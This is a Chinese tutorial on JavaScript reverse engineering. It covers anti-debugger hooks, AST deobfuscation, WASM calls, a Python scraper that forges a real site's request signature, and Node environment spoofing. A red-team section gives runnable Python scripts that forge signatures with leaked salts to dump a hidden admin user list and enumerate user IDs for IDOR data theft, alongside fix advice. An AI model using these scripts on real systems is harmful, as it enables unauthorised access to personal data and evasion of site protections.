    方法 2:Hook 绕过(通用)

    ​```javascript
    // 重写Function构造函数,拦截debugger语句
    const originalFunction = Function;
    Function = function(...args) {
    if (args.join('').includes('debugger')) {
    // 如果代码里有debugger,返回空函数,不执行
    return () => {};
    }
    return originalFunction.apply(this, args);
    };


第十二章 调试工具补充

对应大纲内容:调试工具补充,核心是 Chrome DevTools 的进阶调试技巧,提升逆向效率。

1. 核心定义与底层原理

Chrome DevTools 除了基础的断点、单步调试,还有很多进阶的调试工具,能帮我们快速定位加密函数、分析代码执行流程、查看变量变化,提升逆向效率。

2. 实战作用与应用场景

  • 快速定位加密函数,不用盲目翻代码;
  • 分析复杂的代码执行流程,找到加密逻辑;
  • 监控变量的变化,找到密钥、盐值的来源;
  • 绕过简单的反调试,提升调试效率。

3. 核心知识点拆解

  • 进阶调试工具:

    1. 事件断点(Event Listener Breakpoints):Sources 面板里,给点击、提交、键盘等事件设置断点,触发事件时,代码会暂停,找到事件对应的处理函数,适合定位按钮点击后的加密逻辑;
  1. 全局搜索(Search) :按Ctrl + Shift + F,打开全局搜索,搜索关键词(比如signencryptmd5aes),找到所有包含关键词的 JS 代码,快速定位加密函数;
  2. 代码格式化 :点击 JS 代码左下角的{}按钮,把压缩的一行代码格式化成分行的可读代码,逆向必备;
  3. 监视(Watch):断点暂停时,在 Watch 面板里添加变量,实时查看变量的值变化,不用每次都在 Console 里输入;
  4. 调用栈(Call Stack):断点暂停时,Call Stack 面板显示代码的执行顺序,能回溯到加密函数的调用位置,找到参数的来源;
  5. 黑盒脚本(Blackbox Script):右键 JS 文件,选择「Blackbox Script」,把框架代码、第三方库代码加入黑盒,调试时不会进入这些代码,只关注业务代码;
  6. 性能面板(Performance):录制页面的代码执行过程,查看函数的执行时间、调用顺序,找到加密函数的执行时机。

4. 极简入门示例(全局搜索定位加密函数)

  1. 打开 Chrome DevTools,按Ctrl + Shift + F打开全局搜索;
  2. 输入关键词sign:(接口里的签名参数名),按回车;
  3. 搜索结果会显示所有包含sign:的 JS 代码,点击进入对应的 JS 文件;
  4. 格式化代码,在生成 sign 的代码行设置断点;
  5. 触发接口请求,断点触发,就能看到 sign 的生成逻辑。

第十三章 AST 技术与反混淆

对应大纲内容:AST 技术简介、babel/parser、babel/generator、babel/traverse、babel/types、使用 AST 还原混淆代码,核心是用 AST 技术反混淆 javascript-obfuscator 混淆的代码。

1. 核心定义与底层原理

AST(Abstract Syntax Tree,抽象语法树),是源代码的树形结构化表示,把一行行代码,拆解成一个个节点(Node),每个节点代表代码的一个语法单元(比如变量声明、函数调用、字符串)。

  • 反混淆的原理:混淆后的代码,AST 结构和原始代码的 AST 结构是一致的,只是节点的内容被加密、打乱了。我们通过解析混淆代码的 AST,遍历节点,把加密的字符串解密、把打乱的控制流还原、把乱码的变量名重命名,再把 AST 转回代码,就能得到可读的反混淆代码。

2. 实战作用与应用场景

  • 逆向场景:还原 javascript-obfuscator 混淆的代码,把乱码代码变成可读的代码,找到加密逻辑;
  • 代码分析:用 AST 分析代码的结构,找到加密函数、反调试代码;
  • 批量代码修改:用 AST 批量修改代码,比如替换变量名、删除死代码。

3. 核心知识点拆解

  • AST 处理的四步流程:

    1. 解析(Parse) :用@babel/parser把 JS 代码解析成 AST 树;
  1. 遍历(Traverse) :用@babel/traverse遍历 AST 树的所有节点,修改、还原节点内容;
  2. 生成(Generate) :用@babel/generator把修改后的 AST 树转回 JS 代码;
  3. 类型校验(Types) :用@babel/types创建、校验节点类型,确保 AST 结构正确。
  • 常见的节点类型:

    • StringLiteral:字符串字面量,比如"abc",混淆后的加密字符串都是这个类型;
  • CallExpression:函数调用表达式,比如encrypt("abc")

    • VariableDeclaration:变量声明,比如var a = 1
    • FunctionDeclaration:函数声明,比如function a() {}
    • IfStatement:if 条件语句;
  • 反混淆的核心操作:

    1. 字符串解密:遍历StringLiteral节点,调用混淆代码里的解密函数,还原原始字符串;
  1. 控制流还原:把 switch-case 扁平化的控制流,还原成顺序执行的代码;
  2. 变量名重命名:把_0x123456这种乱码变量名,改成有意义的名字;
  3. 死代码删除:删除永远不会执行的代码,简化代码结构。

4. 极简入门示例(AST 字符串还原)

javascript 复制代码
// 先安装依赖:npm install @babel/parser @babel/traverse @babel/generator @babel/types
// --------------------------- 1. 导入依赖 ---------------------------
const parser = require('@babel/parser'); // 代码转AST
const traverse = require('@babel/traverse').default; // 遍历AST
const generator = require('@babel/generator').default; // AST转代码
const t = require('@babel/types'); // 节点类型工具

// --------------------------- 2. 混淆后的代码 ---------------------------
const obfuscatedCode = `
var _0x1a2b=['MD5','toString','my_secret_salt'];
(function(_0x3c4d,_0x1a2b5){var _0x2f8e=function(_0x3d9a){while(--_0x3d9a){_0x3c4d['push'](_0x3c4d['shift']());}};_0x2f8e(++_0x1a2b5);}(_0x1a2b,0x10));
var _0x2f8e=function(_0x3c4d,_0x1a2b5){_0x3c4d=_0x3c4d-0x0;var _0x2f8e2=_0x1a2b[_0x3c4d];return _0x2f8e2;};
function generateSign(_0x4d5a,_0x5f6b){
    const _0x1e3f=_0x2f8e(0x0);
    const _0x7c8d=_0x1e3f+_0x4d5a+_0x5f6b;
    return CryptoJS[_0x2f8e(0x1)](_0x7c8d)[_0x2f8e(0x2)]();
}
`;

// --------------------------- 3. 第一步:代码转AST ---------------------------
const ast = parser.parse(obfuscatedCode);

// --------------------------- 4. 第二步:遍历AST,还原字符串 ---------------------------
// 先拿到混淆代码里的解密数组和解密函数
const stringArray = ['MD5','toString','my_secret_salt'];
// 还原混淆里的数组移位操作
const shiftArray = (arr, offset) => {
    for (let i = 0; i < offset; i++) {
        arr.push(arr.shift());
    }
    return arr;
};
// 执行数组移位,和混淆代码里的逻辑一致
const shiftedArray = shiftArray(stringArray, 0x10 + 1);
// 解密函数
const decryptString = (index) => {
    return shiftedArray[index];
};

// 遍历AST,替换所有解密函数调用
traverse(ast, {
    // 遍历所有的函数调用表达式
    CallExpression(path) {
        // 判断是不是解密函数的调用
        if (path.node.callee.name === '_0x2f8e' && t.isNumericLiteral(path.node.arguments[0])) {
            // 拿到参数的数字
            const index = path.node.arguments[0].value;
            // 调用解密函数,拿到原始字符串
            const originalString = decryptString(index);
            // 把解密函数调用节点,替换成原始字符串节点
            path.replaceWith(t.stringLiteral(originalString));
        }
    }
});

// --------------------------- 5. 第三步:AST转回代码 ---------------------------
const result = generator(ast, { compact: false }); // compact: false 格式化代码
console.log("还原后的代码:\n", result.code);

第十四章 WebAssembly(WASM)逆向

对应大纲内容:WebAssembly 案例介绍、WASM 模拟执行,核心是逆向用 WASM 实现的加密逻辑。

1. 核心定义与底层原理

WebAssembly(简称 WASM)是一种低级的二进制指令格式,能在浏览器里以接近原生的速度运行,C/C++/Rust 写的代码,可以编译成 WASM,在浏览器里运行。很多网站把核心的加密逻辑,用 C/C++ 写好,编译成 WASM,放到浏览器里运行,防止被 JS 逆向分析,是目前最强的前端加密反爬手段之一。

  • 逆向原理:WASM 代码虽然是二进制的,但可以反编译成 WAT(WebAssembly Text Format,文本格式),或者反编译成 C 代码,分析里面的加密逻辑,也可以直接在浏览器里调用 WASM 里的函数,拿到加密结果(RPC 方式)。

2. 实战作用与应用场景

  • 逆向场景:网站的加密逻辑用 WASM 实现,JS 里看不到加密代码,需要逆向 WASM;
  • 爬虫开发:还原 WASM 里的加密逻辑,或者调用 WASM 函数,生成加密参数;
  • 反爬对抗:绕过 WASM 加密的反爬手段,实现自动化爬取。

3. 核心知识点拆解

  • WASM 的文件格式:

    • .wasm:二进制格式,浏览器直接运行的文件;
  • .wat:文本格式,人类可读的 WASM 代码,是二进制文件的反编译结果;

  • WASM 逆向的两种方式:

    1. 静态分析 :把.wasm文件反编译成.wat格式,或者用工具反编译成 C 代码,分析加密逻辑;
  1. 动态调试:Chrome DevTools 支持 WASM 的断点调试,单步执行 WASM 代码,查看寄存器、内存的值,分析加密逻辑;
  2. RPC 调用:直接在浏览器里调用 WASM 导出的函数,传入参数,拿到加密结果,不用还原逻辑,最简单的方式。
  • 常用工具:

    • wasm2wat:把 wasm 二进制文件转成 wat 文本格式;
  • wat2wasm:把 wat 文本转成 wasm 二进制;

    • Ghidra/IDA Pro:反编译 wasm 文件成 C 代码,静态分析;
    • Chrome DevTools:WASM 动态调试。

4. 极简入门示例(WASM 函数调用)

javascript 复制代码
// --------------------------- 浏览器里调用WASM加密函数 ---------------------------
// 1. 加载WASM文件
fetch('/encrypt.wasm')
    .then(response => response.arrayBuffer())
    .then(bytes => WebAssembly.instantiate(bytes))
    .then(result => {
        // 2. 拿到WASM导出的加密函数
        const encryptFunc = result.instance.exports.encrypt;
        // 3. 调用加密函数,传入参数
        const data = new TextEncoder().encode("我的加密内容");
        const encryptedPtr = encryptFunc(data.byteOffset, data.length);
        // 4. 从WASM内存里读取加密结果
        const memory = new Uint8Array(result.instance.exports.memory.buffer, encryptedPtr, 32);
        const encryptedResult = Array.from(memory).map(b => b.toString(16).padStart(2, '0')).join('');
        console.log("WASM加密结果:", encryptedResult);
    });

第二部分:核心技术点完整实战操作流程

完全贴合大纲的实操内容,每个技术点都按「适用场景→操作步骤→核心代码→踩坑点→案例演示」来写,步骤可 1:1 复现。


一、XHR 断点定位加密函数

1. 技术适用场景

  • 不知道加密函数名、不知道加密关键词,无法用全局搜索定位;
  • 接口请求的加密参数,需要找到生成的位置;
  • 90% 的 JS 逆向场景都适用,是定位加密函数的首选方法。

2. 详细操作步骤

  1. 打开 Chrome 浏览器,访问目标网站,按F12打开 DevTools;
  2. 切换到「Network」面板,勾选「Preserve log」和「Disable cache」,点击「XHR/fetch」筛选器;
  3. 触发目标接口请求(比如点击查询、刷新页面、点击登录),找到目标接口,复制接口 URL 里的关键词(比如rank/list,不要带域名);
  4. 切换到「Sources」面板,找到左侧的「XHR/fetch Breakpoints」,点击「Add breakpoint」;
  5. 在弹出的输入框里,粘贴刚才复制的接口关键词(比如rank/list),按回车;
  6. 再次触发接口请求,代码会自动暂停,断点触发;
  7. 查看右侧的「Call Stack」(调用栈)面板,从下往上找业务代码(跳过 jQuery、Axios 等框架代码);
  8. 点击对应的业务代码,进入 JS 文件,格式化代码,就能找到加密参数的生成函数。

3. 核心代码 / 指令

无代码,断点设置指令:在 XHR/fetch Breakpoints 里添加接口关键词,比如rank/list

4. 常见踩坑点与避坑技巧

  • 踩坑点 1:断点触发后,停在框架代码里,找不到业务代码;

    避坑:在 Call Stack 里,右键框架代码(比如 Axios、jQuery),选择「Blackbox Script」,把框架代码加入黑盒,下次断点会直接停在业务代码里。

  • 踩坑点 2:接口 URL 是动态变化的,关键词不对,断点不触发;

    避坑:用接口的通用部分,比如/api/,只要接口 URL 包含/api/,就会触发断点。

  • 踩坑点 3:断点触发了,但加密参数已经生成好了;

    避坑:在 Call Stack 里往上回溯,找到发起请求前的代码,加密参数就是在那里生成的。

5. 对应案例实操演示

案例:Newrank 榜单逆向

  1. 打开 Newrank 官网,进入榜单页面,按 F12 打开 DevTools;
  2. 触发榜单查询,找到接口https://www.newrank.cn/xdnphb/main/v1/rank/list,复制关键词rank/list
  3. 在 XHR/fetch Breakpoints 里添加rank/list,再次触发查询;
  4. 断点触发,在 Call Stack 里找到业务代码,进入 JS 文件;
  5. 格式化代码,找到generateSign函数,就是 sign 参数的生成函数。

二、Hook window.btoa 方法(Base64 编码定位)

1. 技术适用场景

  • 知道网站用了 Base64 编码,需要找到哪里调用了 Base64 编码;
  • 接口参数是 Base64 编码的,需要定位编码的位置;
  • 全局搜索btoa找不到调用位置,用 Hook 拦截所有调用。

2. 详细操作步骤

  1. 打开 Chrome 浏览器,访问目标网站,按F12打开 DevTools;
  2. 切换到「Console」面板;
  3. 复制 Hook 代码,粘贴到 Console 里,按回车执行;
  4. 触发网站的接口请求(比如点击查询、登录);
  5. 查看 Console 里的输出,会显示btoa被调用的输入内容、输出结果,以及调用栈;
  6. 点击调用栈里的链接,直接跳转到调用btoa的代码位置,找到加密逻辑。

3. 核心代码 / 指令

javascript 复制代码
// --------------------------- Hook window.btoa 核心代码 ---------------------------
// 1. 保存原始的btoa函数,避免原功能丢失
const originalBtoa = window.btoa;
// 2. 重写btoa函数
window.btoa = function(...args) {
    // 3. 我们的逻辑:打印输入的参数
    console.log("=== btoa被调用 ===");
    console.log("输入内容:", args[0]);
    // 4. 打印调用栈,找到调用位置
    console.log("调用栈:", new Error().stack);
    // 5. 调用原函数,拿到返回值
    const result = originalBtoa.apply(this, args);
    // 6. 打印输出结果
    console.log("编码结果:", result);
    console.log("=== 调用结束 ===");
    // 7. 返回原结果,不影响网站正常功能
    return result;
};

4. 常见踩坑点与避坑技巧

  • 踩坑点 1:Hook 代码执行后,刷新页面就失效了;

    避坑:用 DevTools 的「Overrides」功能,把 Hook 代码注入到页面加载的第一个 JS 文件里,确保页面刷新后 Hook 代码依然生效。

  • 踩坑点 2:网站用了自定义的 Base64 编码,不是原生的btoa,Hook 不到;

    避坑:HookString.prototype.fromCharCode,或者搜索 Base64 的特征码ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/,找到自定义的编码函数。

  • 踩坑点 3:Console 里的输出太多,找不到对应的调用;

    避坑:在 Hook 代码里加条件判断,比如只有输入内容包含关键词时,才打印日志。

5. 对应案例实操演示

案例:某网站登录接口 Base64 编码逆向

  1. 打开目标网站的登录页面,按 F12 打开 DevTools;
  2. 在 Console 里执行 Hook window.btoa 的代码;
  3. 输入用户名密码,点击登录;
  4. Console 里输出了 btoa 的调用信息,输入内容是用户名密码的拼接字符串;
  5. 点击调用栈里的链接,跳转到登录加密的代码位置,找到完整的加密逻辑。

第三部分:真实场景 JS 逆向 + Python 爬虫全流程复现

完全贴合大纲【加密参数还原与模拟、逆向爬取实战】章节,核心案例从 0 到 1 可复现,代码可直接运行。


案例:Newrank 榜单 sign 参数 MD5 逆向 + Python 爬虫复现

1. 抓包分析

  1. 打开 Newrank 官网(https://www.newrank.cn),进入榜单页面,按 F12 打开 DevTools;

  2. 切换到 Network 面板,勾选 Preserve log 和 Disable cache,点击 XHR/fetch 筛选器;

  3. 点击榜单的下一页,找到核心接口:https://www.newrank.cn/xdnphb/main/v1/wechat/rank/list

  4. 查看请求体,发现加密参数:

    json 复制代码
    {
      "app_key": "xhs_001",
     "nonce": "123456",
      "timestamp": "1761800000000",
     "sign": "a1b2c3d4e5f67890a1b2c3d4e5f67890",
      "data": "eyJ0eXBlIjoiYWxsIiwicGFnZSI6MX0="
    }
    • 核心加密参数:sign(32 位 MD5 值)、nonce(随机字符串)、timestamp(13 位时间戳)、data(Base64 编码的查询条件)。

2. 加密函数定位

  1. 在 XHR/fetch Breakpoints 里添加rank/list,再次点击下一页,断点触发;
  2. 在 Call Stack 里回溯,找到业务代码,进入 JS 文件,格式化代码;
  3. 全局搜索sign:,找到generateSign函数;
  4. 断点调试,查看函数的输入参数和执行逻辑。

3. 加密逻辑还原

分析generateSign函数,得到完整逻辑:

  1. data 参数:把查询条件 JSON 字符串转成 Base64 编码;

  2. nonce 参数:6 位随机数字字符串;

  3. timestamp 参数:13 位毫秒级时间戳;

  4. sign 签名规则:

    • 固定盐值:d1b12967a38c4891a987f65432109876
  • 拼接规则:app_key + nonce + timestamp + data + 盐值
    • 加密算法:MD5 哈希,转成 32 位小写字符串。

4. JS 调试验证

在 DevTools 的 Console 里执行以下代码,验证加密逻辑:

javascript 复制代码
// 模拟参数
const app_key = "xhs_001";
const nonce = "123456";
const timestamp = "1761800000000";
const data = btoa(JSON.stringify({"type":"all","page":1}));
const salt = "d1b12967a38c4891a987f65432109876";

// 拼接签名字符串
const signStr = app_key + nonce + timestamp + data + salt;
// 生成MD5签名
const sign = CryptoJS.MD5(signStr).toString().toLowerCase();

console.log("生成的sign:", sign);
// 和抓包的sign对比,一致则逻辑正确

5. Python 复现(完整爬虫代码)

python 复制代码
# 安装依赖:pip install requests
import requests  # 全称:HTTP for Humans,发送HTTP请求
import time      # 全称:Time access and conversions,生成时间戳
import hashlib   # 全称:Secure hashes and message digests,MD5哈希
import base64    # 全称:Base16/32/64 encodings,Base64编码
import json      # 全称:JSON encoder and decoder,JSON处理
import random    # 全称:Generate pseudo-random numbers,生成随机nonce

# --------------------------- 全局配置(从逆向中提取) ---------------------------
BASE_URL = "https://www.newrank.cn/xdnphb/main/v1/wechat/rank/list"
APP_KEY = "xhs_001"
SALT = "d1b12967a38c4891a987f65432109876"
HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Referer": "https://www.newrank.cn/public/rank/wechat",
    "Content-Type": "application/json",
    "Cookie": "你自己的Newrank Cookie" # 登录后复制
}

# --------------------------- 1. MD5签名生成函数 ---------------------------
def generate_sign(app_key: str, nonce: str, timestamp: str, data: str) -> str:
    """
    生成Newrank接口的sign签名
    :param app_key: 固定app_key
    :param nonce: 6位随机数
    :param timestamp: 13位时间戳
    :param data: Base64编码的查询条件
    :return: 32位小写MD5签名
    """
    # 拼接规则:app_key + nonce + timestamp + data + 盐值
    sign_str = f"{app_key}{nonce}{timestamp}{data}{SALT}"
    # 计算MD5哈希
    md5_obj = hashlib.md5(sign_str.encode('utf-8'))
    # 返回32位小写字符串
    return md5_obj.hexdigest()

# --------------------------- 2. Base64编码函数 ---------------------------
def encode_data(page: int, rank_type: str = "all") -> str:
    """
    编码查询条件为Base64
    :param page: 页码
    :param rank_type: 榜单类型
    :return: Base64编码的字符串
    """
    # 构造查询条件JSON
    payload = {
        "type": rank_type,
        "page": page,
        "pageSize": 20
    }
    # 转成JSON字符串,再Base64编码
    json_str = json.dumps(payload, separators=(',', ':'))
    return base64.b64encode(json_str.encode('utf-8')).decode('utf-8')

# --------------------------- 3. 生成随机nonce ---------------------------
def generate_nonce() -> str:
    """生成6位随机数字nonce"""
    return str(random.randint(100000, 999999))

# --------------------------- 4. 主爬取函数 ---------------------------
def get_rank_list(page: int = 1) -> dict:
    """
    获取Newrank榜单数据
    :param page: 页码
    :return: 接口返回的JSON数据
    """
    # 1. 生成参数
    timestamp = str(int(time.time() * 1000))
    nonce = generate_nonce()
    data = encode_data(page)
    sign = generate_sign(APP_KEY, nonce, timestamp, data)

    # 2. 构造请求体
    request_body = {
        "app_key": APP_KEY,
        "nonce": nonce,
        "timestamp": timestamp,
        "sign": sign,
        "data": data
    }

    # 3. 发送POST请求
    response = requests.post(
        url=BASE_URL,
        headers=HEADERS,
        json=request_body,
        timeout=10
    )
    # 4. 返回JSON数据
    response.raise_for_status()
    return response.json()

# --------------------------- 5. 运行入口 ---------------------------
if __name__ == "__main__":
    # 爬取第1页榜单数据
    result = get_rank_list(page=1)
    print("榜单数据:", json.dumps(result, indent=2, ensure_ascii=False))

6. 进阶优化

  1. Cookie 自动刷新:用 Python 模拟登录,自动获取和刷新 Cookie,不用手动复制;
  2. 请求频率控制 :添加time.sleep(random.uniform(1, 3)),避免被封 IP;
  3. Session 复用 :用requests.Session()复用 TCP 连接,提升爬取效率;
  4. 异常处理:添加 try-except,处理网络超时、接口报错等情况。

第四部分:结合 JS 逆向技术的渗透测试利用全流程

红队实战导向,Payload 可以测试。

场景 1:前端硬编码加密密钥 + 未授权接口渗透

1. 前端代码逆向分析(漏洞点挖掘)

操作步骤:
  1. 打开目标网站登录 / 数据查询页面,按F12打开 DevTools→Sources 面板;
  2. 全局搜索(Ctrl+Shift+F)关键词:encryptAESkeysecrettoken
  3. 找到前端加密代码,发现硬编码的 AES 密钥、接口签名盐值;
  4. 继续搜索api//v1//user/等接口关键词,找到前端代码中注释 / 未调用的隐藏未授权接口
  5. 分析接口的签名生成规则,发现前端硬编码的盐值可直接用于生成合法签名。
核心逆向代码(提取自前端 JS):
javascript 复制代码
// 前端硬编码的加密密钥与签名规则(逆向提取)
const AES_KEY = "api_encrypt_123456"; // 硬编码AES密钥
const SIGN_SALT = "api_sign_secret_789"; // 硬编码签名盐值

// 前端接口签名生成函数
function generateApiSign(timestamp, path) {
    return CryptoJS.MD5(SIGN_SALT + timestamp + path).toString();
}

// 前端隐藏的未授权接口(逆向发现)
const HIDDEN_API = "https://api.example.com/admin/user/list";

2. 漏洞原理分析

  • 成因:前端开发人员将加密密钥、签名盐值硬编码在 JS 代码中,且后端接口仅校验签名有效性,未校验用户权限;同时将后台管理接口的路径写在前端 JS 中,未做访问控制。
  • 危害等级:高危(可未授权获取全量用户数据、越权操作)
  • 利用条件:可访问目标网站前端 JS 代码、接口可公网访问、后端仅做签名校验无权限校验。

3. 完整利用步骤与 Payload

步骤 1:复现签名生成逻辑(Python)
python 复制代码
import hashlib
import time
import requests

# 从前端JS逆向提取的硬编码盐值
SIGN_SALT = "api_sign_secret_789"
# 逆向发现的隐藏未授权接口
TARGET_API = "https://api.example.com/admin/user/list"
# 接口路径(用于签名)
API_PATH = "/admin/user/list"

def generate_sign(timestamp: str, path: str) -> str:
    """
    复现前端的MD5签名生成函数
    :param timestamp: 13位时间戳
    :param path: 接口路径
    :return: 32位MD5签名
    """
    sign_str = f"{SIGN_SALT}{timestamp}{path}"
    return hashlib.md5(sign_str.encode("utf-8")).hexdigest()

if __name__ == "__main__":
    # 生成和前端一致的时间戳
    timestamp = str(int(time.time() * 1000))
    # 生成合法签名
    sign = generate_sign(timestamp, API_PATH)
    
    # 构造请求头,完全模拟前端
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0",
        "Content-Type": "application/json",
        "X-Timestamp": timestamp,
        "X-Sign": sign
    }
    
    # 发起未授权请求,获取全量用户数据
    response = requests.get(url=TARGET_API, headers=headers, timeout=10)
    print("未授权获取的用户数据:", response.json())
步骤 2:执行利用
  1. 运行上述 Python 代码,直接获取目标网站后台的全量用户数据;
  2. 基于硬编码的 AES 密钥,可解密前端加密的用户密码、敏感数据。

4. 实战利用案例

某企业 OA 系统前端 JS 中硬编码了接口签名盐值和后台用户列表接口路径,后端仅校验签名的合法性,未校验当前登录用户的角色权限。通过逆向提取盐值,生成合法签名,直接未授权获取了 OA 系统全量 2000 + 员工的手机号、身份证号、薪资数据。

5. 漏洞修复建议

前端修复:
  1. 禁止在前端 JS 中硬编码加密密钥、签名盐值、后台接口路径;
  2. 敏感接口的签名密钥通过登录后后端下发的临时 token 生成,禁止固定硬编码;
  3. 对前端 JS 代码进行混淆加密,隐藏接口路径和加密逻辑。
后端修复:
  1. 接口必须做双重校验:既校验签名合法性,也校验当前用户的权限,禁止仅靠签名做访问控制;
  2. 后台管理接口必须做登录态 + 角色权限双重校验,禁止公网未授权访问;
  3. 签名盐值、加密密钥存储在后端服务配置中,禁止泄露到前端。

场景 2:签名校验逻辑缺陷越权访问

1. 前端代码逆向分析

  1. 打开目标网站的个人中心页面,触发用户信息查询接口,抓包发现请求参数包含user_idsign
  2. 通过 XHR 断点回溯,找到签名生成函数,分析发现签名规则为:MD5(user_id + timestamp)未加入用户登录态、固定盐值
  3. 后端仅校验签名是否符合user_id + timestamp的规则,未校验user_id是否属于当前登录用户。

2. 漏洞原理分析

  • 成因:签名规则仅绑定用户 ID 和时间戳,未绑定用户登录态 / 固定密钥,攻击者可任意构造 user_id 生成合法签名;后端未校验 user_id 与登录用户的一致性,导致越权。
  • 危害等级:高危(可越权查看任意用户的个人信息、订单数据)
  • 利用条件:签名规则无固定密钥 / 登录态绑定、后端未校验用户权限。

3. 完整利用步骤与 Payload

python 复制代码
import hashlib
import time
import requests

# 逆向还原的签名生成规则
def generate_sign(user_id: str, timestamp: str) -> str:
    sign_str = f"{user_id}{timestamp}"
    return hashlib.md5(sign_str.encode("utf-8")).hexdigest()

# 目标接口
TARGET_API = "https://api.example.com/user/info"
# 登录后的Cookie(保留登录态,绕过基础登录校验)
COOKIE = "sessionid=xxx; token=xxx"

if __name__ == "__main__":
    # 遍历目标用户ID,批量越权
    for target_user_id in range(1, 100):
        timestamp = str(int(time.time() * 1000))
        # 生成任意user_id的合法签名
        sign = generate_sign(str(target_user_id), timestamp)
        
        # 构造请求
        params = {
            "user_id": target_user_id,
            "timestamp": timestamp,
            "sign": sign
        }
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0",
            "Cookie": COOKIE
        }
        
        response = requests.get(url=TARGET_API, params=params, headers=headers, timeout=5)
        print(f"用户ID {target_user_id} 的信息:", response.json())

4. 实战利用案例

某电商网站的用户订单查询接口,签名规则仅为MD5(order_id + user_id),后端未校验订单所属的用户是否为当前登录用户。通过逆向还原签名规则,遍历订单 ID,越权获取了全量用户的订单信息、收货地址、手机号。

5. 漏洞修复建议

  • 签名规则必须加入固定后端密钥 + 用户登录态 token ,规则改为:MD5(固定密钥 + user_id + timestamp + 用户token),防止攻击者构造签名;
  • 后端必须校验请求的user_id/order_id是否属于当前登录用户,禁止越权访问;
  • 签名有效期限制,timestamp 超过 5 分钟的请求直接拒绝,防止重放攻击。

第五部分:JS 逆向全场景异常问题排查与解决方案

完全贴合大纲【反调试、环境补充、混淆反混淆】章节,覆盖逆向全流程高频异常,步骤可落地,代码可直接执行。


异常 1:加密函数在 Node.js 中执行报错

1. 问题成因分析

序号 核心成因 触发场景
1 浏览器特有 API 缺失 代码调用了windowdocumentnavigatorlocation等浏览器全局对象,Node.js 中无这些对象
2 this 指向错误 浏览器中顶层this指向window,Node.js 中顶层this指向global,代码依赖this的浏览器指向逻辑
3 反 Node.js 环境检测 网站代码检测到 Node.js 环境,主动抛出错误 / 修改加密逻辑
4 代码混淆后的依赖缺失 混淆后的代码依赖前端 JS 的其他模块,Node.js 中未引入对应的依赖
5 加密算法的浏览器实现差异 代码使用了window.crypto.subtle浏览器加密 API,Node.js 中无对应实现

2. 分步排查流程

  1. 第一步:定位报错代码行

    • 把前端加密代码复制到 Node.js 中,执行后查看报错堆栈,找到报错的具体代码行;
    • 判断报错类型:xxx is not defined(对象缺失)、Cannot read properties of undefined(this 指向错误)、主动抛出的错误(环境检测)。
  2. 第二步:判断是否为浏览器环境缺失

    • 查看报错的变量名,是否为windowdocumentnavigator等浏览器特有对象;
    • 执行console.log(this),查看顶层 this 的指向,判断是否为 this 指向问题。
  3. 第三步:检测是否有反 Node.js 逻辑

    • 在代码开头加入console.log(global),查看是否有代码修改了全局对象;
    • 搜索代码中的processmoduleexports等 Node.js 特有关键词,查看是否有检测逻辑。
  4. 第四步:验证加密算法依赖

    • 查看代码是否使用了CryptoJSJSEncrypt等第三方库,Node.js 中是否安装了对应库。

3. 完整解决方案

方案 1:通用浏览器环境补全(解决 90% 的缺失问题)
javascript 复制代码
// Node.js环境浏览器对象补全代码,放在加密代码最开头
// 补全window对象,Node.js中用global模拟
global.window = global;
global.self = global;
global.this = global;

// 补全navigator对象,模拟Chrome浏览器环境
global.navigator = {
    userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    platform: "Win32",
    webdriver: false,
    plugins: [1, 2, 3, 4, 5], // 模拟浏览器插件
    language: "zh-CN"
};

// 补全location对象
global.location = {
    href: "https://www.example.com",
    host: "www.example.com",
    hostname: "www.example.com",
    protocol: "https:",
    pathname: "/"
};

// 补全document对象
global.document = {
    cookie: "sessionid=xxx",
    referrer: "https://www.example.com",
    createElement: () => {
        return {
            innerHTML: "",
            src: ""
        };
    }
};

// 补全浏览器加密API
global.crypto = require("crypto").webcrypto;

console.log("浏览器环境补全完成");
// 下方粘贴从前端复制的加密代码
方案 2:修复 this 指向问题
javascript 复制代码
// 把加密代码包裹在立即执行函数中,强制this指向window
(function(window) {
    // 这里粘贴前端的加密代码
    function generateSign(data) {
        // 原代码中依赖this.window的逻辑,现在可正常执行
        return CryptoJS.MD5(data + window.location.host).toString();
    }
    // 把函数暴露到全局
    window.generateSign = generateSign;
})(global.window);

// 调用测试
console.log(generateSign("test"));
方案 3:绕过反 Node.js 环境检测
javascript 复制代码
// 代码开头执行,隐藏Node.js环境特征
// 隐藏Node.js特有全局对象
delete global.process;
delete global.module;
delete global.exports;
delete global.require;

// 补全浏览器环境特征,代码同上
global.window = global;
// ... 其余环境补全代码

4. 实战避坑技巧

  • 优先使用JSDOM 库 做完整环境补全,而非手动补全,命令:npm install jsdom,可模拟完整的 DOM 环境;
  • 加密代码优先从浏览器 Sources 面板的格式化后的代码中复制,而非从压缩的 JS 文件中复制,避免遗漏依赖;
  • 若环境补全后仍报错,优先使用RPC 远程调用(第八章内容),直接在浏览器中调用加密函数,无需补全环境。

5. 通用解决思路

所有 Node.js 执行报错的核心,都是「浏览器与 Node.js 的运行环境差异」,解决优先级:

  1. 优先用 RPC 远程调用,完全规避环境差异(零成本解决);
  2. 其次用 JSDOM 补全完整浏览器环境;
  3. 最后手动补全缺失的对象 / API,修复 this 指向。

异常 2:无限 debugger 无法调试

1. 问题成因分析

序号 核心成因 常见形式
1 定时器循环执行 debugger setInterval(() => {debugger}, 100),最常见的形式
2 函数递归执行 debugger 用 Function 构造器动态生成 debugger 代码,递归执行
3 开发者工具检测触发 debugger 检测到 DevTools 打开后,才执行 debugger 语句
4 混淆代码中的隐式 debugger 把 debugger 语句拆分成字符串拼接,用 eval 动态执行

2. 分步排查流程

  1. 第一步:判断 debugger 的触发形式

    • 打开 DevTools,查看 debugger 触发的频率,是定时器循环还是单次触发;
    • 查看 Call Stack 调用栈,找到 debugger 的执行代码位置。
  2. 第二步:判断是否有 DevTools 检测

    • 关闭 DevTools,页面正常运行;打开 DevTools,立即触发 debugger,说明存在 DevTools 检测逻辑。
  3. 第三步:定位 debugger 的生成代码

    • 查看 debugger 语句的代码,是硬编码还是动态生成的;
    • 全局搜索debugger关键词,找到所有相关代码。

